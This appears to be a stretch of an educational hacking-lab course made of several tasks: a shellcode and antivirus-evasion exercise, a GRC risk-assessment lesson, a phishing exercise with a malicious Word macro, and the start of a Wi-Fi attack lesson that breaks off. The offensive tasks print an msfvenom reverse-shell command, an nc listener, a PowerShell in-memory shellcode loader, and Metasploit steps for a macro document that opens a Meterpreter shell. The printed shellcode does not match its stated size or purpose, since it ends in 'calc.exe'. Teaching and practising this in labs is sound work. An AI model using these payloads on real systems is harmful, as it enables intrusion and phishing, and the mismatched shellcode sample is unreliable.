Let's learn how to generate a shellcode to see what it looks like. To do this, we will use a tool called msfvenom to get a reverse shell.

In the AttackBox, open the terminal and enter the command msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKBOX_IP LPORT=1111 -f powershell that will generate the shellcode. The output will look like the following.  You will require to replace the ATTACKBOX_IP with the IP of the AttackBox.

root@attackbox:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKBOX_IP LPORT=1111 -f powershell
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of powershell file: 2259 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,
0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,
0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,
0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,
0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,
0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,
0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,
0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d,0x85,0xb2,0x0,0x0,
0x0,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0    

The above command generates a piece of shellcode using msfvenom. Here's what each part means:

• -p windows/x64/shell_reverse_tcp: The -p flag tells msfvenom what type of payload to create. windows/x64/shell_reverse_tcp specifies that we want a reverse shell for a Windows machine.
• LHOST=ATTACKBOX_IP: This is the IP address of the AttackBox. It tells the reverse shell where to connect back to.
• LPORT=1111: This is the port number on your machine that will listen for the reverse shell connection. When the target connects back to you, it will use this port (1111 in this example). You can choose any available port, but it needs to match with what your listener is set to.
• -f powershell: This specifies the format for the output. In this case, we want the payload to be in PowerShell format so it can be executed as a script on a Windows machine.
  

Where Is the Actual Shellcode

The actual shellcode in the output above is the hex-encoded byte array, which starts with 0xfc, 0xe8, 0x82, and so on. The hexadecimal numbers represent the instructions set on the target machine. Computers understand binary (1s and 0s), but hex numbers are just a more human-readable version. So, instead of seeing long strings of 1s and 0s, you see something like 0xfc instead.

We can execute this shellcode by loading it into memory and then creating a thread for its execution. In this case, we will use PowerShell to call a few Windows APIs via C# code. Below is a simple PowerShell script that will execute our shellcode:

  $VrtAlloc = @"
using System;
using System.Runtime.InteropServices;

public class VrtAlloc{
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
}
"@

Add-Type $VrtAlloc 

$WaitFor= @"
using System;
using System.Runtime.InteropServices;

public class WaitFor{
 [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);   
}
"@

Add-Type $WaitFor

$CrtThread= @"
using System;
using System.Runtime.InteropServices;

public class CrtThread{
 [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  
}
"@
Add-Type $CrtThread   

[Byte[]] $buf = SHELLCODE_PLACEHOLDER
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Phew! That's a lot of code. But don't stress. We'll break down what it does step by step.

If you're new to cyber security, memorising these functions is unnecessary. Most penetration testers use pre-made or automated tools to run shellcode, so you don't have to know every technical detail to complete the job. No need to worry!

Explanation of the Code

The script starts by defining a few C# classes. These classes use the DllImport attribute to load specific functions from the kernel32 DLL, which is part of the Windows API.

• VirtualAlloc: This function allocates memory in the process's address space. It's commonly used in scenarios like this to prepare memory for storing and executing shellcode.
• CreateThread: This function creates a new thread in the process. The thread will execute the shellcode that has been loaded into memory.
• WaitForSingleObject: This function pauses execution until a specific thread finishes its task. In this case, it ensures that the shellcode has completed execution.

These classes are then added to PowerShell using the Add-Type command, allowing PowerShell to use these functions.

Storing the Shellcode in a Byte Array

Next, the script stores the shellcode in the $buf variable, a byte array. In the example above, SHELLCODE_PLACEHOLDER is just there to show where you would insert the actual shellcode earlier generated through msfvenom. Usually, you'd replace it with the real shellcode, represented as a series of hexadecimal values. These hex values are the instructions that will be executed when the shellcode runs.

Allocating Memory for the Shellcode

The VirtualAlloc function then allocates a block of memory where the shellcode will be stored. The script uses the following arguments:

• 0 for the memory address, meaning that Windows will decide where to allocate the memory.
• $size for the size of the memory block, which is determined by the length of the shellcode.
• 0x3000 for the allocation type, which tells Windows to reserve and commit the memory.
• 0x40 for memory protection, the memory is readable and executable (necessary for executing shellcode).

After memory is allocated, the Marshal.Copy function copies the shellcode from the $buf array into the allocated memory address ($addr), preparing it for execution.

Executing the Shellcode and Waiting for Completion

Once the shellcode is stored in memory, the script calls the CreateThread function to execute the shellcode by creating a new thread. This thread is instructed to start execution from the memory address where the shellcode is located ($addr). The script then uses the WaitForSingleObject function, ensuring it waits for the shellcode execution to finish before continuing. This makes sure that the shellcode runs completely before the script ends its execution.

Time for Some Action - Executing the Shellcode

On the AttackBox, execute the command nc -nvlp 1111 to start a listener on port 1111 and wait for an incoming connection. This command opens port 1111 and listens for connections, allowing the AttackBox to receive data once a connection is made.

           root@attackbox:~# nc -nvlp 1111 
Listening on [0.0.0.0] (family 0, port 1111) 

On the AttackBox, begin by navigating to the Desktop. Right-click on the Desktop, select Create Document, and then choose Empty File. Open this new file and paste the previously provided PowerShell script code into it. Look for the part labelled SHELLCODE_PLACEHOLDER and replace it with the shell code we previously created with msfvenom.

Once you've added the shellcode navigate to the attached VM, open PowerShell by clicking the PowerShell icon on the taskbar and paste parts of the code from the document you recently created to the Windows PowerShell window. For example, the first part to copy and paste is the block below:

$VrtAlloc = @"
using System;
using System.Runtime.InteropServices;

public class VrtAlloc{
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
}
"@

Add-Type $VrtAlloc 

$WaitFor= @"
using System;
using System.Runtime.InteropServices;

public class WaitFor{
 [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);   
}
"@

Add-Type $WaitFor

$CrtThread= @"
using System;
using System.Runtime.InteropServices;

public class CrtThread{
 [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  
}
"@
Add-Type $CrtThread   

Then paste the line below, replacing the placeholder with the shellcode generated by msfvenom, and press Enter.

[Byte[]] $buf = SHELLCODE_PLACEHOLDER

Continue copying and pasting the lines from the code below. Remember, copy one line at a time, paste it, and press Enter.

[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Note: If your PowerShell terminal unexpectedly closes, it means your nc listener was not reachable, possibly because it was not running or was listening on the wrong port or IP.

If you've done it properly, the PowerShell terminal in the VM will look like the screenshot below:

Once you execute the final line in the PowerShell terminal and press Enter, you will get a reverse shell in the AttackBox, giving you complete access to the computer even if the Windows Defender is enabled. Now you can issue any command, like issuing dir, which will list all the directories.

Regaining Access

Let's dive into the story and troubleshoot the issue in this part of the task. Glitch has realised he's no longer receiving incoming connections from his home base. Mayor Malware's minion team seems to have tampered with the shellcode and updated both the IP and port, preventing Glitch from connecting. The correct IP address for Glitch is ATTACKBOX_IP, and the successful connection port should be 4444.

Can you help Glitch identify and update the shellcode with the correct IP and port to restore the connection and reclaim control?

McSkidy and Glitch want to hire an eDiscovery company to process some forensic data for their investigation. They have invited bids from third parties for this purpose. Three companies have bid for the project. McSkidy and Glitch now need to do a risk assessment on all three of these companies to identify the one with the least amount of risk so that they can move forward. All three companies were required to fill out a questionnaire based on which a risk assessment will be done.

Introduction to GRC

Governance, Risk, and Compliance (GRC) plays a crucial role in any organisation to ensure that their security practices align with their personal, regulatory, and legal obligations. Although in general good security practices help protect a business from suffering a breach, depending on the sector in which an organisation operates, there may be external security regulations that it needs to adhere to.

• Reserve Bank Regulations: In most countries, banks have to adhere to the security regulations set forth by the country's reserve bank. This ensures that each bank adheres to a minimum security level to protect the funds and information of their customers.
• SWIFT CSP: Banks use the SWIFT network to communicate with each other and send funds. After a massive bank breach resulted in a $81 million fraudulent SWIFT transfer, SWIFT created the Customer Security Programme (CSP), which sets the standard of security for banks to connect to the SWIFT network.
• Data Protection: As banks hold sensitive information about their customers, they have to adhere to the security standards created by their data regulator (usually the reserve bank in most countries).

When you run a large organisation with multiple different teams, how do you stay on top of all these regulations and ensure that good security is applied by all teams? This is where GRC comes in. They play a crucial role in understanding external security standards, translating them into internal standards, and then ensuring that they are applied by all teams to help reduce the organisation's risk to an acceptable level. Let's take a quick look at the three functions of GRC.

Governance

Governance is the function that creates the framework that an organisation uses to make decisions regarding information security. Governance is the creation of an organisation's security strategy, policies, standards, and practices in alignment with the organisation's overall goal. Governance also defines the roles and responsibilities that everyone in the organisation has to play to help ensure these security standards are met.

Risk

Risk is the function that helps to identify, assess, quantify, and mitigate risk to the organisation's IT assets. Risk helps the organisation understand potential threats and vulnerabilities and the impact that they could have if a threat actor were to execute or exploit them. By simply turning on a computer, an organisation has some level of risk of a cyber attack. The risk function is important to help reduce the overall risk to an acceptable level and develop contingency plans in the event of a cyber attack where a risk is realised.

Compliance 

Compliance is the function that ensures that the organisation adheres to all external legal, regulatory, and industry standards. For example, adhering to the GDPR law or aligning the organisation's security to an industry standard such as NIST or ISO 27001.

Introduction to Risk Assessments

Before McSkidy and Glitch choose an eDiscovery company to handle their forensic data, they need to figure out which one is the safest choice. This is where a risk assessment comes in. It's a process to identify potential problems before they happen. Think of it as checking the weather before going on a hike; if there’s a storm coming, you'd want to know ahead of time so you can either prepare or change your plans.

Why Are Risk Assessments Done?

Risk assessments are like a reality check for businesses. They connect cyber security to the bigger picture, which minimises business risk. In other words, it’s not just about securing data but about protecting the business as a whole.

Imagine you run an online store that collects customer information like names, addresses, and credit card details. If that data gets stolen because of a weak security system, it’s not just the data that’s at risk—your reputation, customer trust, and even your profits are on the line. A risk assessment could have helped you identify that weak point and fix it before anything went wrong.

For McSkidy and Glitch, assessing the risks of each eDiscovery company helps them decide which one is less likely to have a data breach or other issues that could disrupt the investigation.

Performing a Risk Assessment

Every business's main goal is to generate revenues and profits. For most businesses, cyber security does not directly contribute to revenue generation or profit maximisation. Businesses decide to spend part of their hard-earned revenue on cyber security to avoid the risk of revenue or reputation loss resulting from a cyber threat. Businesses often take these steps to achieve this goal. We will now work through the process of completing a risk register. A risk register tracks the progress of risk mitigation and all open risks. An example of such a risk register is shown in the animation below. Let's take a look at the steps required to add risks to the risk register.

Identification of Risks

To assess risk, we must first identify the factors that can cause revenue or reputation loss resulting from cyber threats. This exercise requires carefully assessing the attack surface of the organisation and identifying areas which might be used to harm the organisation. Examples of identified risks can be:

• An unpatched web server.
• A high-privileged user account without proper security controls.
• A third-party vendor who might be infected by a malware connecting to the organisation's network.
• A system for which support has ended by the vendor and it is still in production.

An organisation might identify several other risks in addition to these examples. However, in addition to just identifying risks, these risks also need to be quantified. After all, the likelihood of materialising a risk on a cordoned-off and isolated server differs greatly from that of a public-facing server hosting a web frontend. Similarly, the impact of a risk materializing on a crown jewel, such as a main database server containing confidential information, differs greatly from that of a development server with dummy data. 

Assigning Likelihood to Each Risk

To quantify risk, we need to identify how likely or probable it is that the risk will materialise. We can then assign a number to quantify this likelihood. This number is often on a scale of 1 to 5. The exact scale differs from organisation to organisation and from framework to framework. Likelihood can also be called the probability of materialisation of a risk. An example scale for likelihood can be:

1. Improbable: So unlikely that it might never happen.
2. Remote: Very unlikely to happen, but still, there is a possibility.
3. Occasional: Likely to happen once/sometime.
4. Probable: Likely to happen several times.
5. Frequent: Likely to happen often and regularly.

It might be noticed that while we are trying to quantify the risk, we still don't define exact quantities of what constitutes several times and what constitutes regularly, etc. The reason is that the likelihood for a server which has very high uptime requirements will be different from a server that is used infrequently. Therefore, the likelihood scale will differ from case to case and from asset to asset. On the flip side, we can see that this scale provides us with a very usable scale of differentiating between different probabilities of occurrence of a certain event.

Assigning Impact to Each Risk

Once we have identified the risks and the likelihood of a risk, the next step is to quantify the impact this risk's materialisation might have on the organisation. For example, if there is a public-facing web server that is unpatched and gets breached, what will be the impact on the organisation? Different organisations calculate impact in different ways. Some organisations might use the CVSS scoring to calculate the impact of a risk; others might use their own rating derived from the Confidentiality, Integrity, and Availability of a certain asset, and others might base it on the severity categorisation of the incidents. Similar to likelihood, we also quantify impact, often on a scale of 1 to 5. An example scale of impact can be based on the following definitions.

1. Informational: Very low impact, almost non-existent.
2. Low: Impacting a limited part of one area of the organisation's operations, with little to no revenue loss.
3. Medium: Impacting one part of the organisation's operations completely, with major revenue loss.
4. High: Impacting several parts of the organisation's operations, causing significant revenue loss
5. Critical: Posing an existential threat to the organisation.

Risk Ownership

The last step to performing a risk assessment is to decide what to do with the risks that were found. We can start by performing some calculations on the risk itself. The simplest calculation takes the likelihood of the risk and multiplies it with the impact of the risk to get a score. Some risk registers make use of more advanced rating systems such as DREAD. Assigning scores to the risks helps organisations prioritise which risks should be remediated first.

While you may think the simplest answer is to secure the system so there is no risk, in real life, it isn't that simple. Implementing more security costs more money, and it doesn't help if we spend more money on security than what we risk losing if we leave open the risk.

In this last step, we decide who owns the risks that were identified. These team members are then responsible for performing an additional investigation into what the cost would be to close the risk vs what we could lose if the risk is realised. In cases where the cost of security is lower, we can mitigate the risk with more security controls. However, were it is higher, we can accept the risk. Accepted risks should always be documented and reviewed periodically to ensure that the cost has not changed.

Internal and Third-Party Risk Assessments

Risk assessments are not just done internally in an organisation, but can also be used to assess the risk that a third party may hold to our organisation. Today, it is very common to make use of third parties to outsource key functions of your business. For example, a small organisation may outsource its financial division to a large auditing firm, or a large organisation may outsource the development of some of its applications to a software engineering firm. However, this changes the risk as a compromise of the third party, where we may not have full control over their security, could still result in a compromise of our data or sensitive assets. As such, we need to consider the risk the third party poses to us.

Why Do Companies Do Internal Risk Assessments?

Internal risk assessments help companies understand the risks they have within their own walls. It's like taking a good look around your house to check if there are any leaks or broken windows.

For example, if a company finds that its software is outdated, it can prioritise updating it to prevent potential attacks. Internal risk assessments help:

• Identify weak spots in security.
• Direct resources to the most important areas.
• Stay compliant with security rules and regulations.
  

Why Do Companies Do Risk Assessments of Third Parties?

Companies don't just assess themselves—they also need to evaluate the risks that come from working with other companies, like vendors, suppliers, or partners. This is called a third-party risk assessment, and it's important because one weak link in the chain can affect everyone.

Let's make it simple: McSkidy and Glitch want to make sure that whichever eDiscovery company they choose won't leak or lose sensitive data. So, they will be reviewing if these companies:

• Have good security measures to keep data safe.
• Follow data protection rules.
• Align with the security standards that McSkidy and Glitch have in place.
  

By doing a third-party risk assessment, McSkidy and Glitch are reducing potential supply chain risks - making sure the investigation doesn't run into trouble because of a weak security link in the chain. In order to do this, McSkidy has to create a risk assessment that can be sent to the potential third parties. Based on the answers provided by the third parties, McSkidy can then make an informed decision on which third party would be best!

Procuring a Partner

Let's put this knowledge to the test! Let's start the static site attached to this task by pressing the View Site button below:

You will have to assess the level of risk that each of the vendors pose. We sent a questionnaire to each potential third-party and have received their answers. Using these answers, you will have to add new risks to the risk register, which will give an overall risk score for each third-party. Once done, we can choose the third-party that has the lowest risk score.

Mayor Malware attempts to phish one of the SOC-mas organizers by sending a document embedded with a malicious macro. Once opened, the macro will execute, giving the Mayor remote access to the organizer’s system.

Marta May Ware is surprised that her system was compromised even after following tight security, but McSkidy thinks she traced the attacker, and he got in. It’s none other than Mayor Malware who got into the system. This time, the Mayor used phishing to get his victim. McSkidy’s quick incident response prevented significant damage.

In this task, you will run a security assessment against Marta May Ware. The purpose would be to improve her security and raise her cyber security awareness against future attacks.

Glitch is still concerned about any future attack on Marta May Ware and advises McSkidy to run a phishing exercise on her to verify whether she is vigilant about these attacks.

Learning Objectives

• Understand how phishing attacks work
• Discover how macros in documents can be used and abused
• Learn how to carry out a phishing attack with a macro

Phishing Attacks

Security is as strong as the weakest link. Many would argue that humans are the weakest link in the security chain. Is it easier to exploit a patched system behind a firewall or to convince a user to open an “important” document? Hence, “human hacking” is usually the easiest to accomplish and falls under social engineering.

Phishing is a play on the word fishing; however, the attacker is not after seafood. Phishing works by sending a “bait” to a usually large group of target users. Furthermore, the attacker often craft their messages with a sense of urgency, prompting target users to take immediate action without thinking critically, increasing the chances of success. The purpose is to steal personal information or install malware, usually by convincing the target user to fill out a form, open a file, or click a link.

One might get an email out of nowhere claiming that they are being charged a hefty sum and that they should check the details in the attached file or URL. The attacker just needs to have their target users open the malicious file or view the malicious link. This can trigger specific actions that would give the attack control over your system.

Macros

The needs of MS Office users can be vastly different, and there is no way that a default installation would cater to all of these needs. In particular, some users find themselves repeating the same tasks, such as formatting and inserting text or performing calculations. Consider the example of number-to-words conversion where a number such as “1337” needs to be expressed as “one thousand three hundred thirty-seven”. It would take hours to finish if you have hundreds of numbers to convert. Hence, there is a need for an automated solution to save time and reduce manual effort.

In computing, a macro refers to a set of programmed instructions designed to automate repetitive tasks. MS Word, among other MS Office products, supports adding macros to documents. In many cases, these macros can be a tremendous time-saving feature. However, in cyber security, these automated programs can be hijacked for malicious purposes.

To add a macro to an MS Word document for instance, we click on the View menu and then select Macros as pointed out by 1 and 2 in the screenshot below. We should specify the name of the macro and specify that we want to save it in our current document, as indicated by 3 and 4. Finally, we press the Create button.

Let’s explore one way the attacker could have created an MS Word document with an embedded macro to gain access to Marta’s system.

Attack Plan

In his plans, Mayor Malware needs to create a document with a malicious macro. Upon opening the document, the macro will execute a payload and connect to the Mayor’s machine, giving him remote control. Consequently, the Mayor needs to ensure that he is listening for incoming connections on his machine before emailing the malicious document to Marta May Ware. By executing the macro, the Mayor gains remote access to Marta’s system through a reverse shell, allowing him to execute commands and control her machine remotely. The steps are as follows:

1. Create a document with a malicious macro
2. Start listening for incoming connections on the attacker’s system
3. Email the document and wait for the target user to open it
4. The target user opens the document and connects to the attacker’s system
5. Control the target user’s system

You might wonder why you don’t set the malicious macro so that you can connect to the target system directly instead of the other way around. The reason is that when the target system is behind a firewall or has a private IP address, you cannot reach it and, hence, cannot connect to it.

Connecting to the Machine

Before moving forward, review the questions in the connection card shown below:

Press the Start Machine button below to prepare the mail server.

Click on the Start AttackBox button at the top of the page to follow along with creating this document. The AttackBox machine will start in Split-Screen view. If it is not visible, use the blue Show Split View button at the top of the page.

Attacker’s System

On the AttackBox, you need to carry out two steps:

• Create a document with an embedded malicious macro
• Listen for incoming connections

Creating the Malicious Document

The first step would be to embed a malicious macro within the document. Alternatively, you can use the Metasploit Framework to create such a document, as this would spare us the need for a system with MS Office.

You will use the Metasploit Framework to create the document with the malicious macro. This requires the following commands:

• Open a new terminal window and run msfconsole to start the Metasploit Framework
• set payload windows/meterpreter/reverse_tcp specifies the payload to use; in this case, it connects to the specified host and creates a reverse shell
  
• use exploit/multi/fileformat/office_word_macro specifies the exploit you want to use. Technically speaking, this is not an exploit; it is a module to create a document with a macro
• set LHOST CONNECTION_IP specifies the IP address of the attacker’s system, CONNECTION_IP in this case is the IP of the AttackBox
• set LPORT 8888 specifies the port number you are going to listen on for incoming connections on the AttackBox
• show options shows the configuration options to ensure that everything has been set properly, i.e., the IP address and port number in this example
• exploit generates a macro and embeds it in a document
• exit to quit and return to the terminal

In the terminal below, you can see the execution of the above steps.

          root@AttackBox:~# msfconsole 
[...]
Metasploit Documentation: https://docs.metasploit.com/

msf6 > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 > use exploit/multi/fileformat/office_word_macro
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/office_word_macro) > set LHOST CONNECTION_IP
LHOST => CONNECTION_IP
msf6 exploit(multi/fileformat/office_word_macro) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/fileformat/office_word_macro) > show options

Module options (exploit/multi/fileformat/office_word_macro):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CUSTOMTEMPLATE                   no        A docx file that will be used as a template to build the exploit
   FILENAME        msf.docm         yes       The Office document macro file (docm)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     CONNECTION_IP    yes       The listen address (an interface may be specified)
   LPORT     8888             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word on Windows


View the full module info with the info, or info -d command.

msf6 exploit(multi/fileformat/office_word_macro) > exploit

[*] Using template: /opt/metasploit-framework/embedded/framework/data/exploits/office_word_macro/template.docx
[*] Injecting payload in document comments
[*] Injecting macro and other required files in document
[*] Finalizing docm: msf.docm
[+] msf.docm stored at /root/.msf4/local/msf.docm
msf6 exploit(multi/fileformat/office_word_macro) > exit
        

As you can see, the Word document with the embedded macro was created and stored in /root/.msf4/local/msf.docm.

The Created Macro-Enabled Document

We mentioned earlier how to create a macro within an MS Word document. You might be interested to see the content of the file created by msfconsole. In the screenshot below, we can see the different procedures and functions that make up this macro. Note: The AttackBox doesn’t have MS Office installed, so for this section you only have to read along.

1. AutoOpen() triggers the macro automatically when a Word document is opened. It searches through the document’s properties, looking for content in the “Comments” field. The data saved using base64 encoding in the Comments field is actually the payload.
2. Base64Decode() converts the payload to its original form. In this case, it is an executable MS Windows file.
3. ExecuteForWindows() executes the payload in a temporary directory. It connects to the specified attacker’s system IP address and port.

The Comments field is shown in the screenshot below. It is close to 100,000 characters in our case.

If you copy it and save it to a text file, you can convert it to its original executable format using base64 as shown below. You can notice the size of the files.

          root@AttackBox:~# base64 -d payload-base64.txt > payload.exe
root@attackbox:~# ls -lh
-rw-r--r--. 1 root root 97K payload-base64.txt
-rw-r--r--. 1 root root 73K payload.exe
        

You already expect this file to connect to the specified IP address and port. If you would like to check its behaviour in a sandbox, you can check the VirusTotal report for a file that we created and uploaded. In this case, it attempts to connect to 10.9.18.120.

Listening for Incoming Connections

We again will use the Metasploit Framework, but this time to listen for incoming connections when a target users opens our phishing Word document. This requires the following commands:

• Open a new terminal window and run msfconsole to start the Metasploit Framework
• use multi/handler to handle incoming connections
• set payload windows/meterpreter/reverse_tcp to ensure that our payload works with the payload used when creating the malicious macro
  
• set LHOST CONNECTION_IP specifies the IP address of the attacker’s system and should be the same as the one used when creating the document
• set LPORT 8888 specifies the port number you are going to listen on and should be the same as the one used when creating the document
• show options to confirm the values of your options
• exploit starts listening for incoming connections to establish a reverse shell

          root@AttackBox:~# msfconsole 
[...]
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
LHOST => CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     CONNECTION_IP    yes       The listen address (an interface may be specified)
   LPORT     8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on CONNECTION_IP:8888
        

Email the Malicious Document

The malicious document has been created. All you need to do is to send it to the target user. It is time to send an email to the target user, [email protected]. Mayor Malware has prepared the following credentials:

• Email: [email protected]
• Password: MerryPhishMas!

Notice how Mayor Malware uses a domain name that looks similar to the target user’s. This technique is known as “typosquatting,” where attackers create domain names that are nearly identical to legitimate ones in order to trick victims. On the AttackBox, start the Firefox web browser and head to http://MACHINE_IP. Use the above credentials to log in.

Once logged in, compose an email to the target user, and don’t forget to attach the document you created. Changing the name to something more convincing, such as invoice.docm or receipt.docm might be a good idea. Also, write a couple of sentences explaining what you are attaching to convince Marta May Ware to open the document. Note: You can use CTRL+H on the file upload pop-up to be able to see the .msf4 directory where our email attachment is located.

Exploitation

If everything works out, you will get a reverse shell after about 2 minutes. You can access the files and folders on the target system via the command line. You can use cat to display any text file.

          msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on CONNECTION_IP:8888 
[*] Sending stage (176198 bytes) to 10.10.103.92
[*] Meterpreter session 1 opened (CONNECTION_IP:8888 -> 10.10.103.92:52536) at 2024-11-24 16:37:47 +0300
meterpreter > cd c:/users/Administrator/Desktop
meterpreter > ls
[...]
meterpreter > 
        

The much-awaited SOC-mas of Wareville town is just days away! Glitch, the unsung hero, is closing all the doors to Mayor Malware's malicious intentions one by one. However, there is still much more to do.

McSkidy took a thoughtful breath. "Mayor can still find his way in!"

Glitch smiles confidently. "I think I know the last technique he relies on to get into the networks."

McSkidy stands up from her chair with a surge of excitement. "Let me guess, it's a notorious way to get into a network - a Wi-Fi attack?!"

Glitch nods decisively. "Exactly! Let's be one step ahead of the Mayor."

Learning Objectives

• Understand what Wi-Fi is
• Explore its importance for an organisation
• Learn the different Wi-Fi attacks
• Learn about the WPA/WPA2 cracking attack

Connecting to the Machine

Before moving forward, review the questions in the connection card shown below:

Begin by pressing the Start Machine button below in order to start the virtual machine. The VM will take about 3 minutes to boot up fully. Then we need to get the AttackBox ready by pressing the Start AttackBox button at the top of the page.

You can access the VM from the AttackBox via SSH with the following command ssh glitch@MACHINE_IP and entering the credentials below:

Username	glitch
Password	Password321
IP	MACHINE_IP

What is Wi-Fi

The importance of the Internet in our lives is universally acknowledged without the need for any justification. Wi-Fi is the technology that connects our devices to the global network, the Internet. This seamless connection to the Internet appears to be wireless from our devices, which is true to some extent. Our devices are connected wirelessly to the router, which acts as a bridge between us and the Internet, and the router is connected to the Internet via a wired connection.

To connect to Wi-Fi, we turn it on from our devices, and it lists all the available Wi-Fi networks around us. This list comprises the access points (often the routers) that are broadcasting Wi-Fi signals with a unique SSID (network name). You can connect to any of these if you know the correct password, also known as a pre-shared key (PSK). Once you successfully connect to a network via Wi-Fi, you will be assigned an IP address inside that network, which will uniquely identify you and help you communicate with other devices. It is just like becoming a member of a family assigned with a name that the whole family trusts.

The image below shows an example of what connecting to an OK443S SSID requesting a PSK (password) looks like on a typical Windows machine:

With all this discussion on Wi-Fi, it seems like a door to our internet access, and every Wi-Fi connection forms a family of devices. Would you allow somebody you don't really know to become part of your family? Not that easy! Probably because of the privileges a family member has, nobody from outside should ever get those.

Wi-Fi's Pivotal Role in Organisations

Most organisations rely on the Internet for their business functioning. Using a wired connection for all employees to connect to the Internet raises concerns about cost, efficiency, and flexibility at work. So, organisations use Wi-Fi for their networks to connect their employees to the Internet. As the employees connect to the organisation's network, they form a family of interconnected devices. The devices inside the network can communicate with each other and request or respond to any request. Organisations tend to recruit trustworthy and professional employees to avoid any misuse of their privileges inside the network.

However, a malicious actor from outside the organisation could still see the broadcasted Wi-Fi SSID of the organisation's network when they turn their Wi-Fi on. This may not seem to be a problem as the attacker does not know the password, but the attacker actually has some other plans as well!

Attacks on Wi-Fi

There are several techniques attackers use to exploit Wi-Fi technology. The techniques discussed here are solely for educational purposes. Unauthorised attempts to access or compromise networks are illegal and may lead to severe legal consequences. With that in mind, here are some of the most popular techniques:

